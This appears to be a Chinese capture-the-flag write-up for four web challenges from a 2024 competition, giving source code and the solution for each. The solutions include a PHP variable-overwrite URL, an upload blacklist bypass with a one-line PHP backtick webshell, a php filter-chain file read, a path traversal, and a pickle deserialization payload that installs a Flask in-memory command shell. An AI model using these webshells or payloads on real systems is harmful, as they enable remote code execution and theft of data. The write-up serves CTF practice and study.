2024源鲁杯Round2 WEB
Cmnts
源代码
<?php
include 'flag.php';
parse_str($_SERVER['QUERY_STRING']);
if (isset($pass)) {
$key = md5($pass);
}
if (isset($key) && $key === 'a7a795a8efb7c30151031c2cb700ddd9') {
echo $flag;
}
else {
highlight_file(__FILE__);
}
parse_str来覆盖即可
get_th1s_f1ag.php?key=a7a795a8efb7c30151031c2cb700ddd9
PHUPE
关键代码如下
<?php
class FileModel {
private $uploadDir = 'uploads/';
public function getFileContent() {
if (isset($_GET['file'])) {
$file = $this->uploadDir . basename($_GET['file']);
if (file_exists($file)) {
return file_get_contents($file);
}
}
return '';
}
public function uploadFile($file) {
$name = isset($_GET['name'])? $_GET['name'] : basename($file['name']);
$fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));
if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false ) {
return false;
}
$data = file_get_contents($file['tmp_name']);
if(preg_match('/php|if|eval|system|exec|shell|readfile|t_contents|function|strings|literal|path|cat|nl|flag|tail|tac|ls|dir|:|show|high/i',$data)){
echo "<script>alert('恶意内容!')</script>";
return false;
}
$target_file = $this->uploadDir .$name;
if (move_uploaded_file($file['tmp_name'], $target_file)) {
echo "<script>alert('文件上传成功!')</script>";
return true;
}
return false;
}
}
PHP代码审计:文件上传(绕过/.)_pathinfo 绕过-CSDN博客
在move_upload_file()中有一个特性,在文件移动时如果文件后存在/.,那会自动将.去掉,所以我们就可以使用该特性来绕过黑名单的检测,从而实现文件上传。
?name=1.php/.
<?=`$_POST[1]`?>
Pseudo
源码关键文件如下
<?php
error_reporting(0);
if (isset($_GET['file'])) {
$data = file_get_contents($_GET['file']);
$file = tmpfile();
fwrite($file, $data);
fflush($file);
$type = mime_content_type(stream_get_meta_data($file)['uri']);
fclose($file);
if (!in_array($type,['image/jpg','image/jpeg', 'image/png', 'image/gif'])) {
echo "error!!!";
exit;
}else{
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="download.jpg"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
echo($data);
exit;
}
}
php filterchain伪造文件头读flag
python3 php_filter_chain_generator.py --chain 'GIF89a'
注意只能读没有后缀的文件,不然还是会判断不是图片文件
还有就是直接读读不全flag如下:
需要在payload前面加上一个base64编码
ezweb
export_notes?filename=../../../app/app.py
源码
import os
import pickle
from flask import Flask, render_template, request, redirect, url_for, flash, jsonify, send_file
from datetime import datetime
from werkzeug.utils import secure_filename
app = Flask(__name__)
app.secret_key = 'MySe3re7K6y'
app.config['UPLOAD_FOLDER'] = 'uploads'
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024 # 16MB max-limit
# 确保上传文件夹存在
os.makedirs(app.config['UPLOAD_FOLDER'], exist_ok=True)
class Note:
def __init__(self, title, content):
self.id = datetime.now().strftime('%Y%m%d%H%M%S')
self.title = title
self.content = content
self.created_at = datetime.now()
class NoteManager:
def __init__(self):
self.notes = []
self.file_name = "notes.pkl"
self.file_path = "./notes/"
self.file = os.path.join(self.file_path, self.file_name)
self.load_notes()
def add_note(self, title, content):
note = Note(title, content)
self.notes.append(note)
self.save_notes()
return note
def get_note(self, note_id):
for note in self.notes:
if note.id == note_id:
return note
return None
def update_note(self, note_id, title, content):
note = self.get_note(note_id)
if note:
note.title = title
note.content = content
self.save_notes()
return True
return False
def delete_note(self, note_id):
self.notes = [note for note in self.notes if note.id != note_id]
self.save_notes()
def save_notes(self):
with open(self.file, 'wb') as f:
pickle.dump(self.notes, f)
def load_notes(self):
if os.path.exists(self.file):
with open(self.file, 'rb') as f:
self.notes = pickle.load(f)
def import_notes(self, file_path):
try:
with open(file_path, 'rb') as f:
imported_notes = pickle.load(f)
self.notes.extend(imported_notes)
self.save_notes()
return len(imported_notes)
except Exception as e:
print(f"Import error: {e}")
return 0
note_manager = NoteManager()
@app.route('/')
def index():
return render_template('index.html', notes=note_manager.notes)
@app.route('/add', methods=['GET', 'POST'])
def add_note():
if request.method == 'POST':
title = request.form['title']
content = request.form['content']
note_manager.add_note(title, content)
flash('笔记已添加成功', 'success')
return redirect(url_for('index'))
return render_template('add_note.html')
@app.route('/edit/<note_id>', methods=['GET', 'POST'])
def edit_note(note_id):
note = note_manager.get_note(note_id)
if request.method == 'POST':
title = request.form['title']
content = request.form['content']
if note_manager.update_note(note_id, title, content):
flash('笔记已更新成功', 'success')
return redirect(url_for('index'))
flash('更新笔记失败', 'error')
return render_template('edit_note.html', note=note)
@app.route('/delete/<note_id>')
def delete_note(note_id):
note_manager.delete_note(note_id)
flash('笔记已删除成功', 'success')
return redirect(url_for('index'))
@app.route('/export_notes', methods=['GET'])
def export_notes():
filename = request.args.get("filename")
file_path = os.path.join(note_manager.file_path, filename)
return send_file(file_path, as_attachment=True, download_name="notes_export.pkl")
@app.route('/import_notes', methods=['POST'])
def import_notes():
if 'file' not in request.files:
flash('没有文件', 'error')
return redirect(url_for('index'))
file = request.files['file']
if file.filename == '':
flash('没有选择文件', 'error')
return redirect(url_for('index'))
if file:
filename = secure_filename(file.filename)
file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file.save(file_path)
imported_count = note_manager.import_notes(file_path)
os.remove(file_path) # 删除临时文件
if imported_count > 0:
flash(f'成功导入 {imported_count} 条笔记', 'success')
else:
flash('导入失败,请检查文件格式', 'error')
return redirect(url_for('index'))
if __name__ == '__main__':
app.run(host='0.0.0.0')
审计代码发现导入文件功能存在pickle反序列化漏洞
通过测试没有回显并且不出网,我们构造flask 404内存马即可
import base64
import pickle
class A(object):
def __reduce__(self):
return (eval, ("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",))
# 创建对象并序列化
a = A()
serialized_a = pickle.dumps(a, protocol=0)
# 将字节写入文件
file_path = 'serialized_object.pkl'
try:
with open(file_path, 'wb') as f:
f.write(serialized_a)
print(f"字节已成功写入文件 {file_path}")
except Exception as e:
print(f"写入文件时发生错误: {e}")
404
访问ca.php,F12禁用javascript,就不会刷新了,算出结果后提交
import numpy as np
html = """$temp1 = (622 / 835) * log(30);
$temp2 = sqrt(abs(566 - 651)) + pow(sin(90), 2);
$temp3 = $temp1 + ($temp2 * tan(620) / 720);
$temp4 = cos(341) * exp(log(288));
$answer = $temp3 + $temp4;"""
cal = html.replace("$", "").replace(";", "").strip()
global_env = {
"answer": 0,
"log": np.log,
"sqrt": np.sqrt,
"sin": np.sin,
"cos": np.cos,
"tan": np.tan,
"pow": np.power,
"exp": np.exp,
}
exec(cal, global_env)
ans = np.round(global_env["answer"], 2)
print(ans)
0 条评论
可输入 255 字